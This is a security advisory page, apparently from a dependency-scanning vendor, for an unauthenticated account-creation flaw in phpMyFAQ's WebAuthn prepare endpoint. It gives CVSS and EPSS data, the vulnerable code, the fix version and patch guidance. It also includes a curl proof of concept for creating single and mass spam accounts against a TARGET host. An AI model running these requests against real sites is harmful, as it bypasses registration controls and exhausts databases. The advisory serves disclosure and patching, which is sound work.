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Not in CISA KEV
HIGH severity

GHSA-w22q-m2fm-x9f4 — thorsten/phpmyfaq

HIGHFix: thorsten/phpMyFAQ@f2ab673

GHSA-w22q-m2fm-x9f4 is a high-severity (CVSS 7.5) CWE-862 vulnerability in thorsten/phpmyfaq. A fix is available for thorsten/phpmyfaq — see the affected versions and patch details below.

phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint

Also known asCVE-2026-27836
Published
Feb 27, 2026
Updated
Feb 28, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-w22q-m2fm-x9f4.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-w22q-m2fm-x9f4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘thorsten/phpmyfaq

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79

#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
    $data = json_decode($request->getContent(), ...);
    $username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);

    if (!$this->user->getUserByLogin($username, raiseError: false)) {
        try {
            $this->user->createUser($username);
            $this->user->setStatus(status: 'active');
            $this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
            $this->user->setUserData([
                'display_name' => $username,
                'email' => $username,
            ]);

The endpoint:

  1. Accepts any POST request with a JSON username field
  2. If the username doesn't exist, creates a new active user account
  3. Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport)
  4. Does NOT check if registration is enabled (security.enableRegistration)
  5. Does NOT verify CSRF tokens
  6. Does NOT require captcha validation
  7. Has no rate limiting

PoC

# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker_account"}'

# Mass account creation
for i in $(seq 1 1000); do
  curl -s -X POST https://TARGET/api/webauthn/prepare \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"spam_user_$i"}" &
done

Impact

  • Registration bypass: Accounts created even when self-registration is disabled
  • Username squatting: Reserve usernames before legitimate users
  • Database exhaustion: Create millions of fake active accounts (DoS)
  • User enumeration: Different responses for existing vs new usernames
  • Security control bypass: WebAuthn config check is bypassed entirely

All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistthorsten/phpmyfaqall versions4.0.18composer require thorsten/phpmyfaq:^4.0.18

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thorsten/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update thorsten/phpmyfaq to 4.0.18 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w22q-m2fm-x9f4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w22q-m2fm-x9f4 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-w22q-m2fm-x9f4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled. ### Details **File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79 ```php #[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])] public function prepare(Request $request): JsonResponse { $data = json_decode($request->getContent(
O3 Security · Impact-Aware SCA

Is GHSA-w22q-m2fm-x9f4 in your dependencies?

O3 Security finds GHSA-w22q-m2fm-x9f4 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-w22q-m2fm-x9f4: CSRF (High 7.5) | O3 Security